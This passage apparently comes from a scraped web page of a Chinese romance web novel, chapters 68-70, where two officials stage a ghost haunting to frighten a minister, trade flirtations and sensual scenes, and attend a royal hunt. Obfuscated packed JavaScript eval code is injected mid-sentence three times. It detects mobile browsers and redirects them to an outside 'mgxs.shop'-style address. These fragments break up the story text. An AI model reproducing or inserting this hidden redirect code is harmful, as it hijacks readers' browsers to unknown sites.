待屋内只剩自己一人,李羽飞抬眼扫了扫四周,确认门外无人,才缓缓站起身,走到门边,伸手闩上了房门,又走到身后的窗边,轻轻推开了一扇窗。 “燕大人和谢大人,是否安全抵达行宫?”李羽飞的声音带着几分急切,“还有杭州那边,可有动静?” “小姐放心。” 温瑞点头,语气沉稳,“头儿和谢大人已安全抵达行宫,一切安好。杭州那边,头儿走之前已让人打点妥当,官府和地头蛇都打过招呼,绝不会出岔子。” 顿了顿,温瑞又想起什么,挑眉道:“李府,正在为你张罗婚事,这都请了第四个媒婆。” 李羽飞轻笑一声,眼底闪过一丝嘲讽:“孤鬼之名,早已传遍京城,媒婆们避之不及,哪有什么正经人家的公子愿意求娶?便是那些想攀附李家的,也不敢拿自家公子的性命冒险。” “你有意嫁人?” 温瑞挑眉,语气带着几分探究。 “自然不愿。” 李羽飞的声音冷了几分,指尖用力,捏得木棱微微发白,“只是我既已选择回京,便不能再像从前那般,任人拿捏,任人诋毁。这孤鬼的污名,我背了这么多年,够了,不能再担在身上了。” 她的眼底闪过一丝厉色,回京不是为了受李家的气,更不是为了顶着这污名过一辈子,她要的,是堂堂正正地站在京中,不再被人当作晦气的孤鬼,不再被李家随意摆布。 温瑞见她心意已决,点了点头,沉声道:“头儿走之前已给长公主写了信。头儿不在的这段时间,京中这边,长公主会多帮衬着点。” 李羽飞闻言,眼底的厉色淡了些,多了几分暖意。 她轻轻点了点头,声音柔和了几分:“替我谢过燕大人,也谢过长公主。” 温瑞应下:“小姐放心,这话我定会带到。” 李羽飞颔首,指尖拂过窗沿的花瓣,轻声道:“好,辛苦你了。” —————————————— 中书令:陛下,要不您直接报我身份证算了? 虞湘晔:修延哥不讲武德!本想着不随皇兄去围猎,能过几天自由自在的日子,结果倒好给我安排这么个活!啊啊啊—— 下集预告: 燕修延推说:“……太丑了。我不干。” 谢伟恒勾唇:“那便扮的美一些,也不用刻意扮成贺梦雨的样子,人在惊恐之中分辨不出看到的人是什么样的。” 68. 你见过人的眉毛不 宴席散后,宫灯次第挑亮行宫的甬道,大臣们三三两两相携离去,衣袂擦过青砖,落满夜露的微凉。 一道宫人脚步匆匆追上谢伟恒,屈膝递过个暗纹锦荷包,声音恭谨:“谢大人,陛下亲赐的。” 谢伟恒抬手接过,指尖捏着荷包轻掂,锦缎下是硬物的棱角,眼底掠过一丝了然,随手揣入袖中。 只是不知道这次可有机会用上。 燕修延刚同吏部尚书寒暄完,回头正撞见这一幕,眼尖得很,凑上来挑眉:“陛下偷偷塞你什么好东西?还藏着掖着。” 谢伟恒牵了牵唇角,指尖点了点他的眉心:“回去再看,莫急。” 缓步走到专属的小院落外,与吏部、礼部尚书拱手道别,院门吱呀合上,便将外头的人声隔绝在外。 燕修延立马拽着谢伟恒往屋内走,脚步都带急,倒把荷包的事抛到了脑后。 “等子时到了咱就去。” 燕修延从包袱里翻出一套素白衣裙,又扒拉出易容的脂粉工具,摊在桌上:“你说我扮贺梦雨,还是直接画个厉鬼样更吓人?” 谢伟恒取了纸笔,低头寥寥几笔,一张眉眼扭曲、面色青黑的鬼脸便跃然纸上。 燕修延瞥了一眼,立马移开视线,嘴角抽了抽,不愧是看许多精怪、志怪书的人。 他推说:“……太丑了,我不干。” “人在惊惶时,辨不清模样的。” 谢伟恒勾唇,将纸笔推开,“扮得美些,反倒更添诡异,不用刻意仿贺梦雨。” 燕修延一拍脑门:“也是这个理。” 省得画太恐怖,半夜吓着自己。 不易容的话,也要方便不少。 燕修延伸手去拿石黛,手腕却被谢伟恒轻轻按住,对方拿起石黛,温声道:“我来替你画。” 燕修延想起他方才那幅鬼画,满脸不信任:“你能画成什么样的?” 谢伟恒也不辩解,只将他按在铜镜前的妆凳上,烛火跳荡,映得他眉眼温润:“燕大人看着便是,若觉得有不妥之处,随时可开口让我停下。” 燕修延本盯着铜镜里自己的脸,可目光渐渐就被身侧人勾了去。 烛光柔了谢伟恒的轮廓,他垂着眼,长睫投下浅浅的影,捏着石黛的手指修长,动作专注,世家公子的矜贵藏在每一个抬腕落笔的细节里。 燕修延心头悄悄软了下——这人不说话、不耍流氓的时候,是真的顺眼。 试问初次见到谢伟恒的人,谁人不道一句陌上人如玉,公子世无双? 谢伟恒放下石黛,轻轻抬起燕修延下巴,垂首,唇瓣擦过他的眼角,温热的气息拂在耳畔,声音低哑:“燕大人再这般盯着我,今晚怕是出不了这院子了。” 燕修延白他一眼,干脆闭眼:“我啥也不看行不行?你到底画不画,你要是……” 余下的话悉数被谢伟恒吞入唇中。 燕修延:…… 这什么人! 你看他,他说话! 你闭眼,他直接亲! 谢伟恒的吻温柔却带着不容抗拒的强势。 燕修延推了推谢伟恒的手腕,竟没推开,直到齿尖快要咬上对方唇瓣,谢伟恒才松了口。 燕修延抓起谢伟恒的衣袖擦了擦嘴,没好气道:“仰着脖子酸死了!” 谢伟恒拿起一旁的口脂,眼底盛着笑意:“抱歉,下次注意。” “你还想有下次……” 燕修延抿抿唇,头疼的发现根本杜绝不了下次。 旁人靠近他,他会自然的留有一丝戒备。 唯独谢伟恒,他连躲的心思都淡了。 燕修延忍不住嘟囔:“谢大人真是温水煮青蛙的好手。” “燕大人这话就错了。” 谢伟恒打开口脂盒,胭脂的甜香漫开,他勾唇,目光灼灼地看着铜镜里的燕修延,“燕大人乃是天上皎月,清辉万里,我不过是凡尘俗人,攀月不可得,只能步步靠近。 “酸死了,鸡皮疙瘩都起来了。” 燕修延抖了抖肩膀,还皎月……满月倒是挺像城门口那家烧饼铺子的芝麻饼。 他抬眼瞥向铜镜,瞬间瞪圆了眼,按住他的手:“谢伟恒,你老实说,你见过人的眉毛没有?还是说你压根没给人画过眉?!” 谢伟恒老实颔首:“见过,却没画过,今日头一回。” 燕修延指着自己右边的眉尾:“你自己瞅瞅,好看么?” 在谢伟恒眼里,燕修延和“难看”二字压根搭不上边:“好看。” 燕修延深吸一口气,咬牙:“你看这右边眉尾,拖到眼尾底下了!眉头还往上翘!” 左边倒好,眉尾上天,眉头耷拉着。 “你可拉倒吧。” 燕修延嫌弃地摆摆手,一把夺过谢伟恒手里的石黛,“还是我自己来,指望你,今晚别想出门了。” 拿卸妆的脂粉擦掉谢伟恒画的。 燕修延干脆用东西把自己的眉毛遮了,又取了妆粉,把露在外面的脸、脖颈都涂得惨白,再蘸了殷红的口脂,重重抹在唇上,又用食指中指沾着口脂,从下眼皮一路拖到脸颊,两道红痕触目惊心。 最后一把扯开束发的玉簪,乌发披散下来,衬得一张白脸愈发诡异。 “简简单单,比易容省事多了。” 燕修延端起烛台按在胸口,铜镜里烛火映着惨白的脸,红痕在昏暗中像淌下的血。 他自己都被吓了一跳,手指微不可查地抖了一下,慌忙把烛台挪到一边。 转头冲谢伟恒呲牙:“咋样,吓人不?” 谢伟恒面色平静,淡淡道:“要听实话?” 燕修延挺胸抬头,大手一挥:“说,恕你无罪。” “我现在只想替你换上那身裙子。”谢伟恒的声音带着笑意,目光里的宠溺藏都藏不住。 燕修延:“……滚!” 他抓起白色衣裙,把谢伟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646226|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒推到一边:“转过去,不许看。” 谢伟恒依言转身,脊背挺得笔直,半点偷瞄的意思都没有。 燕修延边换衣服边嘀咕,今儿怎么这么听话。 等换好衣裙转身,瞥见铜镜里的自己,顿时气笑:“谢伟恒,你太鸡贼了!” 谢伟恒转过身,眼底笑意浓得化不开:“燕大人穿这一身,很好看。” 燕修延翻了个白眼,这人睁眼说瞎话的本事真是登峰造极—— 他人高马大的,还画着鬼脸穿女装,也就谢伟恒能夸得出口。 “别贫了,走,去找中书令谈谈心。” 彼时东北角的偏僻院落里,中书令何大人正忙得脚不沾地,将黄符一张张贴满床头、门框,连床底都塞了几张,确认周身都被“神符”护住,才抱着装黄符的包袱,惴惴不安地躺下。 “吱——碰——” 门被推开的声音,一下子就把中书令惊醒了。 他记得这门推开没有这么大声音的。 燕修延抓着门把手愣了一瞬——他本想掰着门弄点动静。 谁知这门竟直接被拽了下来,想来是行宫工匠偷工减料,木料松了。 他干脆把木门往内室一扔,木门砸在地上,发出闷响,惊得中书令浑身一哆嗦。 燕修延迈着出京前那套刚学没多久、还磕磕绊绊的鬼步,尽量让自己的脚步飘着,慢悠悠挪到中书令床前。 压着嗓子,声音幽幽的,像从地底飘出来:“何大人,依馨过得可好?” 月光太淡,中书令根本看不清“贺梦雨”的脸,只瞧见一道白色的身影立在床前,墨发披散,身形飘忽,那声音阴恻恻的,直钻耳膜。 中书令吓得仿佛被人掐住了脖子,喉咙里嗬嗬作响,半个字都说不出来,怀里抱着的黄符,竟忘了扔出去,手一抖,黄符散了一地。 “她”居然知道依馨也参与其中了?! 明面上,何依馨是三年后才嫁晋王,此前没有任何关系。 燕修延见他吓傻了,心头暗笑,运起内力鼓动衣袖,白裙猎猎作响,披散的乌发也无风自动,声音陡然变得凄厉,带着彻骨的寒意:“何大人!你说,依馨过得可好?!” “你、你听我说……” 中书令抖得像筛糠,牙齿打颤,话都说不囫囵,“没、没有人害你……” “罢了。” 燕修延冷笑一声,故意拖长了语调,幽幽叹气,“嘴硬也无用,不如将你的心肝剖出来,看一看是黑是红,便知道你说的是真是假了。” ———————————————— 门:嗯?家人们谁懂啊,这也能怪我,我在这待的好好的,突然被拆掉了?? 下章预告: 燕修延和谢伟恒汇合后,冷不丁的双手成爪冲着他“哇”了一声,想吓吓他。 谢伟恒握住燕修延的手腕,把人带进怀里,语气含笑:“吾乃捉鬼师,今日收获颇丰。” 69. 知道太多了,埋了吧 燕修延作势扬手,指尖空落落的才想起忘戴那竹片削的长指甲,指尖顿了顿又猛地扬高,那副厉鬼索命的架势半分没减。 中书令本就魂飞魄散,被这一下唬得腿肚子转筋,嗓子里挤出哭腔:“是王爷!是他命人给你送了太多的补品,导致胎儿过大!” 话落又忙不迭补道,“你临盆前摔的那跤,也是他让人在砖路上抹了油啊!” “他在哪!王爷他在哪?!” 燕修延装作信了中书令的话,声音又尖又厉,裹着夜半的寒气直钻人耳膜,作势便要扑上去抓他:“你带我去见他——啊!!!” 指尖堪堪要碰到中书令的衣领,却突然惨叫一声,身子猛地往后缩。 中书令吓得双目紧闭,抖着胳膊扯过身侧的包袱皮死死挡在面前,连大气都不敢喘。 只听那声惨叫在屋内绕了两圈,再没了动静。 他愣了半晌,才敢颤巍巍掀开包袱皮的一角——屋内空荡荡的,哪里还有半分人影。 直到这时,中书令才后知后觉摸向怀里的黄符,冷汗浸透了中衣,顺着额角往下淌。 他瘫坐在床上,拍着胸口喃喃:“呼……幸亏带的多。” 中书令好一会儿才扶着墙下床,瞥见地上被踹翻的门板,心还在突突跳,低声骂道:“早知道贺梦雨会化作厉鬼缠人,当初就该请个道士来好好超度了。” 他的声音不大,却在这万籁俱寂的夜里格外清晰,窗外墙根下,贺泓名攥紧了拳头,指节泛白,眼底翻涌着怒意与恨意。 若非燕修延及时按住他的肩膀,轻轻摇了摇头,他怕是早已冲进去质问。 燕修延指尖抵在唇上,比了个噤声的手势,带着贺泓名提气轻身,脚步轻得像一片云,悄无声息地退出了中书令的院子。 暗处的树影里,谢伟恒倚着树干,唇角噙着一抹淡笑,目送两人离去,才抬步不紧不慢地跟了上去。 燕修延绕开巡夜的侍卫,把贺泓名送回他的住处,站在院门口淡淡道:“贺大人,你想知道的都清楚了,接下来想做什么,该怎么做,你自己慢慢想。” 话音落,身形一晃,便隐入了旁边的巷弄里,只留贺泓名站在原地,久久未动。 巷弄深处,燕修延刚停下脚步,便转身对着身后的阴影双手成爪,指尖绷直,突然“哇”了一声,故意压低了声音装鬼叫。 预想中的惊慌并未出现,手腕反倒被人稳稳攥住,一股温热的力道传来,他被顺势拉进一个坚实的怀抱,带着淡淡的松木香,裹得他严严实实。 “吾乃捉鬼师,今日收获颇丰。” 谢伟恒的声音贴在耳边,带着笑意,温热的气息扫过耳廓,惹得燕修延耳尖微痒。 “你才是鬼,色鬼。”燕修延翻了个白眼,伸手推他的胸膛,却被人抱得更紧。 谢伟恒笑容加深,低头蹭了蹭他的发顶,语气暧昧:“啊,被燕大人发现了,这般说来,更不能放过你了。” “哎呦,奴家好怕怕哦——” 燕修延面无表情地抬手拍了拍自己的胸口,那副娇柔的模样配上他冷着的脸,说不出的滑稽,随即抬腿就往谢伟恒小腿上踢了一脚,“演够了就回去睡觉,也不看看什么时辰了。” 谢伟恒顺势松开手,眉眼弯起,学着女子的模样,面露春色、含羞带怯地眨了眨眼:“这不是到了我与夫君就寝的时辰了?” 燕修延额角跳了跳,狠狠剜了他一眼:“……脑子有泡,净想些不正经的。” 但凡他身手能打得过谢伟恒,此刻定要把这人按在地上好好收拾一顿。 回到住处,燕修延先去洗了脸,沾了水的棉布擦过脸颊,把脸上的脂粉尽数拭去。 晶莹的水滴顺着光洁的脸颊滑落,淌过下颌,隐入衣领,晕开一小片湿痕。 许是方才搓洗得用力了些,脸颊泛着淡淡的红,唇瓣被水浸过,愈发红润饱满,像清晨沾着朝露的花瓣,透着几分诱人的艳色。 燕修延正抬手解着衣裙的系带,身后突然传来一阵轻响,腰腹便被人从身后搂住,指尖轻轻摩挲着腰侧的肌肤,力道带着不容抗拒的温柔,他被顺势按在了床上,软垫陷下去一小块。 “我替夫君宽衣。”谢伟恒的声音在耳边响起,带着低哑的笑意。 燕修延抓住他作乱的手,挑眉道:“你见过谁在床上宽衣的?” 谢伟恒歪着脑袋,眼底满是狡黠,语气理直气壮:“大婚那日,夫君便是与我在床上宽衣的。” 大婚那日…… 呔! “谢大人真是色心不死——” 话未说完,唇瓣便被人轻轻覆上,谢伟恒的吻带着温热的气息,从唇瓣辗转到唇角,轻咬了一下他的下唇,低声道:“燕大人这般模样,本就诱人,我实在难自持。” 燕修延被堵了嘴,心头火气,抬腿便去踹谢伟恒。 这样反倒是给谢伟恒提供了便利。 谢伟恒抓住燕修延的脚踝,腰间的亵裤被人顺着脚踝轻轻拉下,丢到了床边,只剩宽大的裙摆松松垮垮地盖在腿上。 腿上倏地一凉。 燕修延瞪大了眼睛,心底咯噔一下:“不是!你玩儿真的?” 谢伟恒的指尖轻轻划过他的小腿,带着温热的触感,与微凉的皮肤相触,惹得燕修延身子轻轻一颤,他低头轻咬着燕修延的下唇,声音暧昧:“这身衣裙,当真适合燕大人。” 燕修延强压着心底的异样,努力忽略腿上的凉意,挑眉问道:“你不会跟景轩一样的癖好吧?” 闻言,谢伟恒眉眼低垂,长长的睫毛覆下,掩去眼底的笑意,语气竟带着几分低落,指尖轻轻抚过他的脸颊:“燕大人这般说,真伤人心,自始至终,我所求的,从来只有一个你。” “……” 燕修延一阵无语,心说伤心也该有个伤心的样子,谁家伤心了,手上的动作半分不带停的? 谁家伤心了,手还不老实地搁在人家大腿上的? 况且他问的是癖好!这人倒好,直接偷换概念——明明亲也成了,睡也睡了,现在装什么委屈! “我说谢……” 燕修延话才开了个头,话音却骤然一颤,谢伟恒的指尖轻轻划过他的腰侧,那处本就是他的软肋,一股麻意顺着脊椎往上爬,他抿紧了唇,硬生生把后面的话咽了回去。 “燕大人曾问我,可曾有**过,现在我回答你。” 谢伟恒俯身,唇贴在他的耳边,轻笑一声,气息温热,带着蛊惑:“有,**的时候……想的都是你。” 听听,听听,这说的是什么虎狼之词! 燕修延伸手去推他的胸膛,手腕却被人攥住,按在床榻两侧,可心底那点抗拒,却在他的触碰下一点点消散,反倒不由自主地想要靠近那抹温热。 一开口,声音便带着止不住的颤儿,燕修延索性拉过一旁的被子,蒙住自己的脸,眼不见为净。 隔着薄薄的锦被,他听见谢伟恒的声音带着笑意,裹着蛊惑,一点点钻进耳朵:“既然不厌恶,也不抗拒,为何不顺应自己的心意?” 燕修延猛地扯下被子,瞪着谢伟恒,眼底带着几分羞恼,几分嗔怪,可那眼神水润润的,哪里有半分震慑力,反倒像小猫挠人,勾得人心头发痒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646227|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢伟恒抬手,指尖轻轻拂过燕修延的眼角,动作温柔得不像话,温声道:“我只是助你……,这样夜里,能睡个好觉。” 燕修延气结,张口便咬在他的手腕上,没太用力,只是泄愤似的磨了磨牙,留下一圈浅浅的牙印:“我素来睡得香,脑袋沾枕头就着!” 谢伟恒的皮肤本就偏白,这一口咬下去,牙印格外清晰,怕是好几天都消不掉。 他却半点不在意,反倒是俯身,细密的吻落在燕修延的额头、眉骨、眼尾,再到颈侧,温柔得能滴出水来。 烛火在一旁跳动,光影落在两人身上,珠泪般的烛油顺着烛台缓缓流下,落在案几上,凝成一小团。 燕修延被他亲得浑身发软,心猿意马,指尖攥着他的衣襟,张了张嘴,只吐出一个字:“你……” “让我抱一下就好。” 谢伟恒的声音温柔,动作也放轻了,只是紧紧抱着他,下巴抵在他的发顶,温热的呼吸扫过他的发间。 夜色愈发深沉,屋内的烛火不知何时被吹灭,只剩彼此的心跳声,在寂静里交织。 燕修延换回自己的里衣,靠在床头,看着谢伟恒坐在床尾,小心翼翼地把那身女装叠好,放在一旁的衣箱里,动作轻柔,像在对待什么珍宝。 他心里暗暗盘算,等明天一早,就偷偷把这裙子拿出去丢了! 不,烧了! 等谢伟恒上床时,燕修延已经抵不住倦意,阖上眼睛睡着了,呼吸均匀,长长的睫毛覆在眼睑下,投下一小片浅浅的阴影。 谢伟恒刚躺下,睡在里侧的人便像只寻暖的小猫,滚进了他的怀里,脑袋蹭了蹭他的胸膛,找了个舒服的姿势。 嘴里还模模糊糊地呓语着:“狗东……谢……” 谢伟恒失笑,抬手替他掖好被角,把他露在外面的肩头盖严,低头轻吻了一下他的发顶,唇角噙着淡淡的笑意,合上眼睛,伴着怀中人的呼吸,缓缓进入了梦乡。 第二日一早,天刚蒙蒙亮,燕修延便睁开了眼睛,脑子还有些昏沉,怔怔地看着床顶的纱帐,好一会儿才意识回笼。 昨夜的画面一点点浮现在脑海,尤其是谢伟恒说的那些话,还有那番举动,他突然反应过来—— 难怪昨晚睡得那般安稳,按平时,他见了铜镜里自己画的那副厉鬼模样,再加上谢伟恒画的画,多半是要做噩梦,被鬼追着跑的。 这么说来,谢伟恒是不是早就知道他怕这些了? 燕修延瞬间面露凶相,谢伟恒知道的也太多了——干脆埋了吧。 他拉起被子猛地往谢伟恒脸上捂去,随后一溜烟跳下床,动作麻利得很。 谢伟恒被被子捂了个正着,却半点不慌,慢悠悠地掀开被子坐起来,头发微乱,眼底带着刚睡醒的惺忪,唇角却勾着一抹了然的笑,看着燕修延,语气委屈:“夫君好狠的心,竟对我下此狠手。” 燕修延弯腰拿起一旁的衣服,狠狠丢在他身上,没好气道:“麻溜的起来,今天我要看看中书令今日眼下的乌青有多重。” 若是那乌青不够重,今晚就再去吓他一次——算了,还是别去了。 免得又要穿那身女装,到时候谢伟恒又要借机打趣他,说他刻意引诱。 这年头,装神弄鬼挑件衣服都得这么慎重。 ———————————————— 穿戴甲:呦,不错不错,我的材质有了很大的改变啊! 下章预告: 燕修延搭着谢伟恒的肩膀,在他耳边低声道:“我怀疑他憋着坏,赌不赌?” 谢伟恒都没问他赌注是什么:“赌。” 70. 果然是变心了! 中书令眼下的乌青浓得化不开,像洇了墨的锦缎,衬得脸色愈发憔悴。 礼部尚书眼尖,几步凑上来,嗓门里带着点咋咋呼呼的惊讶:“何大人这是怎的?难不成是被人打了?” 中书令昨夜睁着眼捱到天光,眼皮沉得似坠了铅,强撑着精神摆了摆手,声音里藏着掩不住的倦意:“宁大人说笑了,本官只是昨夜未曾睡好。” “哦——” 宁大人拖长了调子,恍然大悟般点头,扭头就冲吏部尚书挤眉弄眼,“我说呢,原是认床。你瞧这乌青,只在眼下两团,真要是被打了,那整个眼窝子都得青透了。” 吏部尚书揣着袖子,唇角勾着点淡笑,慢悠悠回怼:“干嘛盯着我说?我又没说何大人这眼睛是被打出来的。” 中书令没心思应付这两人的拌嘴,不动声色地瞥了眼面前枝繁叶茂的猎林。 指尖悄悄攥紧,掌心沁出一层薄汗, 林中树影婆娑,风过叶响,藏着数不清的不确定。 他布下的局虽算得周密,可终究变数太多,由不得他不心焦。 “这老头,心里定是憋着坏呢。” 燕修延胳膊懒懒搭在谢伟恒肩头,脑袋凑过去,温热的气息拂过谢伟恒耳畔,声音压得极低,“我赌他今儿个准要搞事,敢不敢跟我赌一把?” 谢伟恒连赌注是什么都没问,唇角微扬,淡淡吐出一个字:“赌。” 燕修延倒是愣了一下,挑着眉梢笑:“谢大人倒是爽快,没想到你还是个隐姓埋名的赌徒。” 都不问赌注是什么? 谢伟恒低头,眼底漾开一抹意味深长的笑,指尖轻轻蹭了下燕修延的手腕:“同燕大人赌,是输是赢,结果本就不重要。” 燕修延心里酥酥麻麻的,忙收回手拢进袖子里,轻咳一声掩饰慌乱:“那你倒说说,你赌什么?” “燕大人希望我赌什么,我便赌什么。” 谢伟恒抬眼,目光落在燕修延的脸上,声音放得更柔,“彩头由我来定,可好?” 燕修延伸手戳了戳谢伟恒的肚子,佯作不满:“你这肚子里,怕不是装的全是坏水?” “燕大人这是害怕了?”谢伟恒挑眉,眼底的笑意藏不住。 燕修延明知是激将,偏生心里好奇得猫抓似的,咬了咬唇:“你先说说,彩头是什么。” 谢伟恒偏头,眼神示意他凑得再近些。 燕修延依言附耳。 只听谢伟恒用只有两人能听见的声音,缓缓道:“若是燕大人赢了,我为你**。若我赢了,燕大人亲我一下便可。” 吹…… 后面的字没听清,可那暧昧的语调足够让燕修延耳朵骤然发烫,像烧了团小火。 他猛地捂着耳朵往后退,步子都有些踉跄,一边退一边摆手:“不赌了不赌了!赌注不是真金白银,我不赌!” 谢伟恒这家伙,一肚子的荤话! 横竖不都是谢伟恒占便宜。 真当他是傻子不成! 虞睿祥搂着两位妃嫔,支着下巴看热闹,稀奇能在燕修延脸上瞧见了几分罕见的羞赧。 他抬手招了招,笑道:“燕卿,此番狩猎,你认为自己能否拔得头筹?” 燕修延敷衍地拱了拱手,语气散漫:“陛下,臣可以为拔得头筹者欢呼鼓掌。” 虞睿祥失笑:“你竟不准备进林狩猎?” 燕修延脑袋摇得像拨浪鼓,一脸坚定:“臣身子不爽,不去了。” 一群人追着兔子狍子獐子跑,跟个傻子似的,有什么意思? 倒不如守在这里,盯着中书令这老东西,看他耍什么花样。 谢伟恒挨着燕修延身侧坐下,衣料相触,温温的暖意。 虞睿祥咬了口妃子剥好的葡萄,又看向他:“谢卿也不去?” 谢伟恒微微颔首,语气淡然:“陛下,臣不善骑射。” 虞睿祥瞬间懂了。 燕修延不去,谢伟恒便就“不善骑射”了。 虞睿祥笑着抬手,用指尖点了点谢伟恒,无奈又好笑。 “你啊你。” 一声令下,狩猎正式开始。 一众大臣扬鞭催马,马蹄声哒哒,烟尘滚滚地涌入林间,瞬间便被树影吞没。 燕修延懒懒地坐着,瞥了眼虞睿祥:“陛下怎的也不去?” 虞睿祥在身旁妃子脸上亲了口,笑得恣意,一甩广袖:“原是准备去的,许是舟车劳顿,惫懒得很,便不想动弹了。” 燕修延哦了一声,心里门儿清。 什么惫懒,定是昨晚跟妃嫔们闹得太凶,累着了。 他昨儿可是听起居郎嘀咕,陛下昨夜一连召了三位妃嫔侍寝。 这要是让黎姐知道了,指不定要怎么发飙呢! 等等,三位? 燕修延眼神骤变,严重怀疑虞睿祥此番提议狩猎,根本就是为了躲在行宫夜夜笙歌,还能不用早起上朝。 真是堕落! 面对燕修延那道暗含谴责的目光,虞睿祥左拥右抱,笑得眉眼弯弯,直接视而不见。 燕修延伸了个大大的懒腰,身子一歪,便靠在了谢伟恒的肩头。 肩头温热坚实,带着淡淡的松烟墨香,让人莫名心安。 谢伟恒垂眸,指尖悄悄伸到燕修延腰侧,轻轻戳了下那处软肉的痒痒肉。 燕修延痒得身子一缩,差点跳起来,瞪了他一眼。 谢伟恒却轻轻扯了扯他的衣袖,借着衣袖的遮掩,微微用力。 燕修延顺势一倒,便稳稳地躺在了他的腿上。 在外人看来,竟是燕修延毫无顾忌,大喇喇地往谢伟恒腿上一躺,亲昵得紧。 燕修延躺在温热的腿上,抬眼便撞进谢伟恒眼底盛着的笑意,像揉碎了的星光。 他索性破罐子破摔,一翻身面朝谢伟恒,手臂环住他的腰,脑袋直接压在他的手背上。 不就是演戏嘛,谁不会?演就演得逼真点。 此刻未进林狩猎的人本就寥寥,中书令便是其中一个。 他眼下那片乌青太过扎眼,便是有人好奇,也没人敢上前问一句为何不去狩猎。 中书令闭着眼似在假寐,眉头却微蹙着,看似放松,实则每一次林间传来动静,他都会悄悄掀开眼缝,目光锐利地扫向林深处,眼底藏着一丝急切。 谢伟恒将这一切看在眼里,动了动被燕修延脑袋压着的手。 指尖轻轻捏了捏燕修延的耳廓,软乎乎的,触感极好。 燕修延心里哼了一声,手臂暗暗使劲,搂得更紧了些,算是小小的报复。 谢伟恒却半点不在意,任由他抱着,始终没有开口让他松手。 倒是燕修延忽然想起,谢伟恒的皮肤偏白,极易留下痕迹,若是抱得太久,怕是要被人看出端倪,这才不情不愿地松开手,坐起身来,拿起一旁的点心慢慢吃着。 不远处,虞睿祥端起酒杯,借着杯沿遮住嘴角的笑意,眼底满是了然。 看来这两人的较量,终究是燕修延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646228|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落了下风—— 倒不如说,是燕修延单方面在跟谢伟恒较劲,偏生人家根本不接招。 忽的,有人指着林口,声音里带着兴奋的高喊:“有人出来了!” 急促的马蹄声由远及近,尘土飞扬中,吏部尚书提着一头肥硕的鹿,策马而出。 他翻身下马,提着鹿快步上前,跪地行礼,声音洪亮:“陛下,臣幸得狩猎,猎得一鹿。鹿肉质细腻鲜美,特献于陛下!” 虞睿祥抬手,语气欣慰:“爱卿平身。卿文武兼备,乃朕之幸,赏锦缎十匹,黄金百两!” “臣叩谢陛下隆恩!” 吏部尚书喜笑颜开,提着弓箭翻身上马,又扬鞭冲入了林间。 燕修延看着那赏赐,酸溜溜地凑到谢伟恒耳边,小声嘀咕:“你瞧瞧,若是刚才换成是我猎了鹿,陛下才不会这么夸我,顶多赏我几坛子酒。” 想当年虞睿祥还是皇子时,对他那叫一个亲近,登基之后,果然是变心了! 谢伟恒抬手,轻轻拍了拍燕修延的手背,掌心的温度透过薄衣传过来,声音温柔:“漠大人与陛下乃是君臣,陛下待旁人,是君臣之礼,待你,却是君臣,亦是友人。” 他话到嘴边,将那声藏在心底的“知己”,悄悄换成了“友人”。 友人? 呸。 燕修延撇撇嘴,一脸的嫌弃,心里却悄悄软了一下。 虞睿祥让人把鹿带下去处理,转头便打趣燕修延:“你看看,若是你去了,这头筹多半是你的,这赏赐自然也是你的。” “总要给其他大臣留点表现的机会。” 燕修延撩起眼皮,一脸不甚在意,手指无意识地摩挲着腰间的玉佩。 他忽然愣了愣,才发觉自个儿和谢伟恒成婚后,竟对这些金银赏赐没那么在意了。 这难道就是有钱人的底气? 可转念一想,这钱是谢伟恒的,又不是他的,他怎的就理直气壮,搞得跟自己的似的? 燕修延摸着下巴,琢磨了半晌,得出一个结论: 定是谢伟恒把他惯坏了。 他扭头看向正在慢条斯理喝茶的谢伟恒:“我说……” “陛下,你吃了五口凤姐姐喂的,只吃了两口臣妾喂的,你偏心~” 娇滴滴、酥酥软软的声音骤然响起,腻得能掐出水来: 那声音黏糊糊的,听得燕修延浑身一哆嗦,起了一身鸡皮疙瘩,到了嘴边的话瞬间烟消云散。 只能说,陛下的口味当真是独特。 不是素来喜欢那般泼辣爽利的么?这娇滴滴的跟泼辣沾不上边儿吧! 说话的人是安凝棠,凝嫔。 这安凝棠待字闺中时,与中书令的女儿何依馨是手帕交,性子娇软,说话总带着这般腻歪的调子。 凤嫔瞥了安凝棠一眼,嘴角勾起一抹嗤笑,语气带着几分刻薄:“也不看看你那爪子剥出来的东西,核都没剔干净,跟狗啃的似的,陛下肯吃两口,已是给你脸面了。” 安凝棠瞬间红了眼眶,眼眶湿漉漉的,拽着虞睿祥的衣袖,委屈巴巴地晃着:“陛下你看她~她欺负臣妾~” ———————————————— 